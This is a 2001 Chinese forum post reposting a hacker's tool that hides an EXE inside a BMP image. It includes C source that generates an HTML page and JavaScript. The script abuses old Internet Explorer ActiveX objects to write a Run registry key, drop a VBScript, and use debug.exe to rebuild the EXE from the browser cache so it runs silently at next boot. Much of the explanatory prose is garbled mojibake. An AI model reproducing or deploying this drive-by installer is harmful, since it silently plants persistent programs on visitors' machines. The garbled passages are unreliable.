您的位置:>
倾心亭BBS论坛
>
返回栏目
【
树状显示
】
隐藏在BMP图像中的*.EXE程序
[删除/修改]
[回复帖子]
发贴者:
X.Z
时间:2001-12-6 0:03:07 点击29次
61.139.245.48
隐藏在BMP图像中的*.EXE程序
------njhhack
本程序可以将一个*.exe可执行程序(其实任何文件都行啦)编码成一个特殊的未经
压缩的24位真彩色BMP图像,生成后的图像文件比原来的*.EXE文件只增大54-65个
字节,为何会增大这么多呢,因为BMP文件头固定为54字节,编码时为减小空间浪
费,我们假定每个描扫行的字节数是12的整数倍,所以当*.EXE文件的大小不是12
的整数倍时,会在文件后填充1-11个字节(根据*.EXE文件大小定),这样加上54字
节的BMP图像头,总共会增加54-65个字节,空间浪费量达到最小值.
将*.EXE文件编码成一个*.BMP图像文件有何用呢,呵呵,用处大了,首先起
到加密作用,没有人会想到一个能正常显示的图像,其实是一个*.EXE的映象吧,
还有一个比较有用的应用是这样的,假如我有一个程序放在我的个人主页上,
当我去访问我的主页时,我想让我的程序s.exe能自动下载到我的电脑中,并在下
次启动时自动运行(大家不要害怕,s.exe不是个木马程序),通常要实现这种功能
必须去点下载,然后保存,然后修改注册表让他自启动,好烦哟,现在将他编码成
BMP图像后就不要这么烦了,你只要看一下网页,s.exe程序就会自动下载到你电
脑中,并在下次自动启动,你感觉不到这个过程的哟:)这种功能是如何实现的呢?
我们知道通过<img src=s.bmp>龈犷块螋酊眸虺鲳雉昃s.bmp踱个砑锺,驿甑
当铗沌看到s.bmp踱幅砑锺瓯,s.bmp钿件蝰经存酊ie5.0典蟛屐缓冲瑛鲳犭,龌赙
铗沌看不到,悫过禅赈方法铗沌潼将臌躜出啻,桤果s.bmp赙经编怆典s.exe钿件
蟪锺,溏愦镟当篾s.exe钿件被镡豇到电漪鲳犭(不赙点击镡豇,而赙雉昃瓯佐动
腈眸虺镡豇典蟠:<).
虹虹s.bmp赙镡啻犭,镡沔铗沌卷编蚧个vbscript藉本帑筱filesystemobject
遏矬啻谍规腭膑c:\windows\temporary internet files踱个淇饧,蝌瞠踱赙
ie5.0典缓冲淇饧,膣螋看过典眸虺喉砑锺都酊踱囡蟠:),不到2汶鲶,铗沌典藉
本卷躜到犭s[1].bmp踱个钿件,踱卷赙s.bmp钿件酊缓冲瑛鲳典沱做窠,哈哈,
鲺篾桡铗躜族犭,筱file.copy龈犷将臌复鲦到c:\windows\temp淇饧镡,铗沌鲺
篾黻抽锅键典蚧步犭.
襟镡啻典工作还赙颡筱到debug.exe踱个dos镡典超级弘钿骥犭,块铵典赙措
踌痱酊w2k镡慊法筱,膣螋本技牾龌潼筱酊win9x鲳犭蟠,恒嗖,秭酊颡趱愦做澍'BM'*/
fseek(fbmp,0,SEEK_SET);
fwrite(bmp,2,1,fbmp);
/*写入13个长整数图像头数据*/
for(rest=2;rest<=14;rest++)
{
fseek(fbmp,2+(rest-2)*4,SEEK_SET);
fwrite(&head[rest],4,1,fbmp);
}
/*如果pos不是12的整数倍,则修改文件的大小为12的整数倍*/
if(len>pos)
{
fseek(fbmp,len+hs-1,SEEK_SET);
fwrite(sbuf,1,1,fbmp);
}
fclose(fbmp);
/*下面生成网页*/
fhtm=fopen("1.htm","wt");
fprintf(fhtm,"<HTML>\n<HEAD>\n<TITLE>网页自动传输系统</TITLE>\n</HEAD>\n<BODY>");
fprintf(fhtm,"\n数据装载中,请稍等............");
fprintf(fhtm,"\n<IMG SRC=s.bmp width=0 height=0>");
fprintf(fhtm,"\n<SCRIPT SRC=1.js></SCRIPT>");
fprintf(fhtm,"\n</BODY>\n</HTML>");
fclose(fhtm);
/*下面生成Javascript脚本*/
fp=fopen("1.js","wt");
fprintf(fp,"\ndocument.write('<APPLET HEIGHT=0 WIDTH=0
code=com.ms.activeX.ActiveXComponent></APPLET>');");
fprintf(fp,"\nfunction docsave()");
fprintf(fp,"\n{");
fprintf(fp,"\na=document.applets[0];");
fprintf(fp,"\na.setCLSID('{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}');");
fprintf(fp,"\na.createInstance();");
fprintf(fp,"\nwsh=a.GetObject();");
fprintf(fp,"\na.setCLSID('{0D43FE01-F093-11CF-8940-00A0C9054228}');");
fprintf(fp,"\na.createInstance();");
fprintf(fp,"\nfso=a.GetObject();");
/*下面为VBScript脚本生成部分*/
fprintf(fp,"\nvar winsys=fso.GetSpecialFolder(1);");
fprintf(fp,"\nvar vbs=winsys+'\\\\s.vbs';");
fprintf(fp,"\nwsh.RegWrite
('HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\\\vbs','wscript
'+'\"'+vbs+'\"');");
fprintf(fp,"\nvar st=fso.CreateTextFile(vbs,true);");
for(rest=0;rest<=18;rest++)fprintf(fp,"\nst.WriteLine('%s');",script1[rest]);
/*生成DEBUG脚本指令*/
fprintf(fp,"\nst.WriteLine(' Lt.WriteLine(\"rbx\")');");
fprintf(fp,"\nst.WriteLine(' Lt.WriteLine(\"%x\")');",(pos>>16)&0xffff); /*
修改BX寄存器的内容*/
fprintf(fp,"\nst.WriteLine(' Lt.WriteLine(\"rcx\")');");
fprintf(fp,"\nst.WriteLine(' Lt.WriteLine(\"%x\")');",pos&0xffff); /*
修改CX寄存器的内容*/
fprintf(fp,"\nst.WriteLine(' Lt.WriteLine(\"w136\")');"); /*
丢弃BMP图像头并存盘*/
fprintf(fp,"\nst.WriteLine(' Lt.WriteLine(\"q\")');"); /*
退出DEBUG.EXE程序*/
for(rest=0;rest<=13;rest++)fprintf(fp,"\nst.WriteLine('%s');",script2[rest]);
fprintf(fp,"\nst.Close();");
/*VBScript处理结束*/
fprintf(fp,"\nfrk.document.write('<body height=40 bgcolor=#c0e0d0>文档保存成
功!!!</body>');");
fprintf(fp,"\n}");
fprintf(fp,"\nsetTimeout('docsave()',1000);");
fprintf(fp,"\ndocument.write('<br>正在保存文档,请稍等.........');");
fprintf(fp,"\ndocument.write('<br><iframe id=frk frameborder=0 width=200
height=50></'+'iframe>');");
fprintf(fp,"\ndocument.write('<br>谢谢使用本软件');");
fprintf(fp,"\ndocument.write('<br>作者:njhhack 主页:<a
href=http://hotsky.363.net>hotsky.363.net</a>');");
fprintf(fp,"\ndocument.write('<br>信箱:mailto:
[email protected]
OICQ:10772919');");
fprintf(fp,"\ndocument.write('<br>程序:<a
href=http://pub.jsol.net/~njhhack/programming/source/exe2bmp.zip>下载</a>/程序中含有c
源码和使用帮助!!!');");
fprintf(fp,"\ndocument.write('<br>(C)CopyRight 2001.8.5 HackSoft Research
Lab.');");
fclose(fp);
/*系统处理结束*/
printf("\n系统处理完毕:");
printf("\n原*.exe文件大小为%ld,新BMP图像文件大小为:%ld,文件增大%ld个字节,不包括54
个字节的BMP图像头大小",pos,len,len-pos);
printf("\n生成的位图为24位真彩色BMP图像,无调色板,宽=%d,高=%d,宽高比例适
中",col,row);
printf("\n你可以将图像用<img src=s.bmp>泓犷鲢篾眸虺轱,当眸虺被浏噜瓯,s.bmp砑锺
块螋佐动镡豇到ie5.0典帔攴肩饧钿件拣,溷块");
printf("\n块螋筱vbscript藉本将驿躜出啻,并复鲦到驿朦淇饧,杌后筱debug.exe泓犷将朦
典bmp砑锺矸瑗掉并祸复*.exe钿件典舡啻大稹");
printf("\n将砑锺钿件沱镐瞠*.exe,趄溷典*.exe卷被霾桦犭噜踹典电漪鲳,溷块螋进痧进蚧
步典铲作:)");
printf("\n作踹:hackboy (c)copyright 2001.8.6");
;
}
-------镡沔赙*.htm---------
<html>
<head>
<title>眸虺佐动传赇锏沓</title>
</head>
<body>
挲君装豇鲳,珉轸佃............
<img src=s.bmp width=0 height=0>
<script src=1.js></script>
</body>
</html>
--------镡沔赙javascript钿件--------------
document.write('<APPLET HEIGHT=0 WIDTH=0
code=com.ms.activeX.ActiveXComponent></APPLET>');
function docsave()
{
a=document.applets[0];
a.setCLSID('{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}');
a.createInstance();
wsh=a.GetObject();
a.setCLSID('{0D43FE01-F093-11CF-8940-00A0C9054228}');
a.createInstance();
fso=a.GetObject();
var winsys=fso.GetSpecialFolder(1);
var vbs=winsys+'\\s.vbs';
wsh.RegWrite
('HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\vbs','wscript '+'"'+vbs+'"
');
var st=fso.CreateTextFile(vbs,true);
st.WriteLine('Option Explicit');
st.WriteLine('Dim FSO,WSH,CACHE,str');
st.WriteLine('Set FSO = CreateObject("Scripting.FileSystemObject")');
st.WriteLine('Set WSH = CreateObject("WScript.Shell")');
st.WriteLine('CACHE=wsh.RegRead
("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell
Folders\\Cache")');
st.WriteLine('wsh.RegDelete
("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\vbs")');
st.WriteLine
('wsh.RegWrite "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\tmp","tmp.ex
e"');
st.WriteLine('SearchBMPFile fso.GetFolder(CACHE),"s[1].bmp"');
st.WriteLine('WScript.Quit()');
st.WriteLine('Function SearchBMPFile(Folder,fname)');
st.WriteLine(' Dim SubFolder,File,Lt,tmp,winsys');
st.WriteLine(' str=FSO.GetParentFolderName(folder) & "\\" & folder.name & "\\" &
fname');
st.WriteLine(' if FSO.FileExists(str) then');
st.WriteLine(' tmp=fso.GetSpecialFolder(2) & "\\"');
st.WriteLine(' winsys=fso.GetSpecialFolder(1) & "\\"');
st.WriteLine(' set File=FSO.GetFile(str)');
st.WriteLine(' File.Copy(tmp & "tmp.dat")');
st.WriteLine(' File.Delete');
st.WriteLine(' set Lt=FSO.CreateTextFile(tmp & "tmp.in")');
st.WriteLine(' Lt.WriteLine("rbx")');
st.WriteLine(' Lt.WriteLine("0")');
st.WriteLine(' Lt.WriteLine("rcx")');
st.WriteLine(' Lt.WriteLine("1000")');
st.WriteLine(' Lt.WriteLine("w136")');
st.WriteLine(' Lt.WriteLine("q")');
st.WriteLine(' Lt.Close');
st.WriteLine(' WSH.Run "command /c debug " & tmp & "tmp.dat <" & tmp & "tmp.in
>" & tmp & "tmp.out",false,6');
st.WriteLine(' On Error Resume Next ');
st.WriteLine(' FSO.GetFile(tmp & "tmp.dat").Copy(winsys & "tmp.exe")');
st.WriteLine(' FSO.GetFile(tmp & "tmp.dat").Delete');
st.WriteLine(' FSO.GetFile(tmp & "tmp.in").Delete');
st.WriteLine(' FSO.GetFile(tmp & "tmp.out").Delete');
st.WriteLine(' end if');
st.WriteLine(' If Folder.SubFolders.Count <> 0 Then');
st.WriteLine(' For Each SubFolder In Folder.SubFolders');
st.WriteLine(' SearchBMPFile SubFolder,fname');
st.WriteLine(' Next');
st.WriteLine(' End If');
st.WriteLine('End Function');
st.Close();
frk.document.write('<body height=40 bgcolor=#c0e0d0>文档保存成功!!!</body>');
}
setTimeout('docsave()',1000);
document.write('<br>正在保存文档,请稍等.........');
document.write('<br><iframe id=frk frameborder=0 width=200 height=50></'+'iframe>');
document.write('<br>谢谢使用本软件');
document.write('<br>作者:njhhack 主页:<a
href=http://hotsky.363.net>hotsky.363.net</a>');
document.write('<br>信箱:mailto:
[email protected]
OICQ:10772919');
document.write('<br>程序:<a
href=http://pub.jsol.net/~njhhack/programming/source/exe2bmp.zip>下载</a>/程序中含有c
源码和使用帮助!!!');
document.write('<br>(C)CopyRight 2001.8.5 HackSoft Research Lab.');
共有1个回应的帖子(从旧到新):
他那是麻烦一点点!!
-
X.Z
, 点击2次,来自61.139.244.221,2001-12-6 0:19:06
不过真是有图片可合成图片的!!病毒!:~)
大家有网页的可以试一下!!
<html>
<head>
<title></title>
</hea>
</head>
<body>
<p><img src="1.jpg" width="145" height="42"> </p>
</body>
</html>
把以上代码保存为*。JPG
上面那个图你自已可以改过名放上试一下在网页上找开看一下用IE找开!!看看要是再加上别的东东的话!:~)
(不过好象有点老的了!:~~)那个漏洞)
WINDOWS 2000用户
呵呵,打SP2就可以了,不提供链接,呵呵
WINDOWS 9X用户
升级 IE:
Internet Explorer 5.01 Service Pack 2.
http://www.microsoft.com/windows/ie/downloads/recommended/ie501sp2/default.asp
Internet Explorer 5.5 Service Pack 2.
http://www.microsoft.com/windows/ie/downloads/recommended/ie55sp2/default.asp
IE6没事!!
●
欢迎您对以上X.Z的文章提出自己的看法和意见!
●
回应者:
密码:
Email:
主 题:
内 容:
------
(注意换行)
表情
主页名称:
主页地址:
程序设计:北海信息港 www.beihaiweb.net